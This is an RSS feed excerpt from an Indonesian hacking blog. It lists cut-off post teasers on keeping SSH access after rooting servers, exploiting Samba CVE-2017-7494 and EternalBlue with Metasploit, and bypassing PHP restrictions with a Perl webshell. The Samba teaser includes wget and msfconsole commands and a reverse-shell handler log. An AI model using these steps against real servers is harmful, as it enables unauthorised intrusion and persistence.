Exploit Archives — LinuxSec Exploit https://exploit.linuxsec.org/tag/exploit/ Nothing is Ever Locked Sun, 11 Feb 2024 12:30:13 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.3 Mendapatkan Akses SSH Setelah Rooting Server https://exploit.linuxsec.org/mendapatkan-akses-ssh-setelah-rooting/ https://exploit.linuxsec.org/mendapatkan-akses-ssh-setelah-rooting/#comments Thu, 01 Jun 2017 01:24:00 +0000 https://exploit.linuxsec.org/2017/06/01/mendapatkan-akses-ssh-setelah-rooting/ Haloo.. kali ini saya mau berbagi sedikit tips saja barangkali ada yang belum tau. Biasanya yang pernah rooting server dengan localroot dirtyc0w sering pas sudah eskalasi, add user dan ganti password ternyata tidak bisa masuk ke ssh karena port ssh yang diganti, atau password auth dimatikan (sysadmin server tersebut login menggunakan auth key). Ada juga […]

The post Mendapatkan Akses SSH Setelah Rooting Server appeared first on LinuxSec Exploit.

]]> https://exploit.linuxsec.org/mendapatkan-akses-ssh-setelah-rooting/feed/ 4 Samba 3.5.0 – Remote Code Execution (CVE-2017-7494) Metasploit https://exploit.linuxsec.org/samba-rce-exploit/ https://exploit.linuxsec.org/samba-rce-exploit/#respond Fri, 26 May 2017 06:14:00 +0000 https://exploit.linuxsec.org/2017/05/26/samba-rce-exploi/ Hmm sepertinya Remote Code Exploit juga menyerang Samba File Sharing di Linux nih? Akankah ada versi WannaCry Linux yang memanfaatkan celah ini? Atau harusnya diberi nama Sambacry? wget https://raw.githubusercontent.com/hdm/metasploit-framework/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb -O /path/to/metasploit/modules/exploits/linux/samba/sambacry.rb msfconsole msf > use exploit/linux/samba/sambacry msf exploit(sambacry) > Logs : [*] Started reverse TCP handler on 192.168.48.1:4444 [*] 192.168.48.151:445 - Using location 192.168.48.151shared for the […]

The post Samba 3.5.0 – Remote Code Execution (CVE-2017-7494) Metasploit appeared first on LinuxSec Exploit.

]]> https://exploit.linuxsec.org/samba-rce-exploit/feed/ 0 Eksploitasi SMB Remote Code Execution MS17-010 Eternalblue https://exploit.linuxsec.org/eternalblue-doublepulsar-exploit/ https://exploit.linuxsec.org/eternalblue-doublepulsar-exploit/#comments Wed, 03 May 2017 00:29:00 +0000 https://exploit.linuxsec.org/2017/05/03/eternalblue-doublepulsar-exploi/ Oke exploit ini sedang ramai dibicarakan akhir-akhir ini setelah grup Shadowbroker merilis tools private milik NSA. Jadi ternyata diam-diam NSA mengeksploitasi kerentanan di service SMB dan menyimpan exploit tersebut untuk keperluan spying. Exploit tersebut diberi nama Eternalblue. Eternalblue Eternalblue adalah sebuah exploit yang memanfaatkan celah keamanan, yang menargetkan kerentanan MS17-010 dalam protokol SMBv1. Exploit ini […]

The post Eksploitasi SMB Remote Code Execution MS17-010 Eternalblue appeared first on LinuxSec Exploit.

]]> https://exploit.linuxsec.org/eternalblue-doublepulsar-exploit/feed/ 20 How to Hack Linux Using Metasploit ! https://exploit.linuxsec.org/howtohack-linux-using-metasploit-par/ https://exploit.linuxsec.org/howtohack-linux-using-metasploit-par/#comments Tue, 07 Mar 2017 07:56:00 +0000 https://exploit.linuxsec.org/2017/03/07/howtohack-linux-using-metasploit-par/ Oke kali ini kita akan membahas kembali mengenai Metasploit. Sebelumnya kita sudah membahas payload PHP yang bisa digunakan untuk meretas sistem linux, kali ini akan sedikit berbeda. Oke langsung saja kita mulai. A. Pengertian Mungkin dari beberapa pembaca disini sudah mengetahui apa itu metasploit, B. Latar Belakang Banyak orang bilang bahwa linux itu aman dari […]

The post How to Hack Linux Using Metasploit ! appeared first on LinuxSec Exploit.

]]> https://exploit.linuxsec.org/howtohack-linux-using-metasploit-par/feed/ 4 Bypass Disabled Functions Dengan Perl CGI Webshell https://exploit.linuxsec.org/bypass-disabled-functions-dengan-per/ https://exploit.linuxsec.org/bypass-disabled-functions-dengan-per/#comments Fri, 03 Mar 2017 23:21:00 +0000 https://exploit.linuxsec.org/2017/03/04/bypass-disabled-functions-dengan-per/ Sebenernya ini trik lama banget ya. Cuman berhubung masih banyak yang belum tau jadi coba share aja barangkali ada yang mau baca. Pernah gak nemu server yang disabled functionnya banyak banget. Yang paling parah kalau fungsi exec nya di disable. Di beberapa server “tua” bisa di bypass dengan trik add php.ini dan menambahkan value disable […]

The post Bypass Disabled Functions Dengan Perl CGI Webshell appeared first on LinuxSec Exploit.

]]> https://exploit.linuxsec.org/bypass-disabled-functions-dengan-per/feed/ 2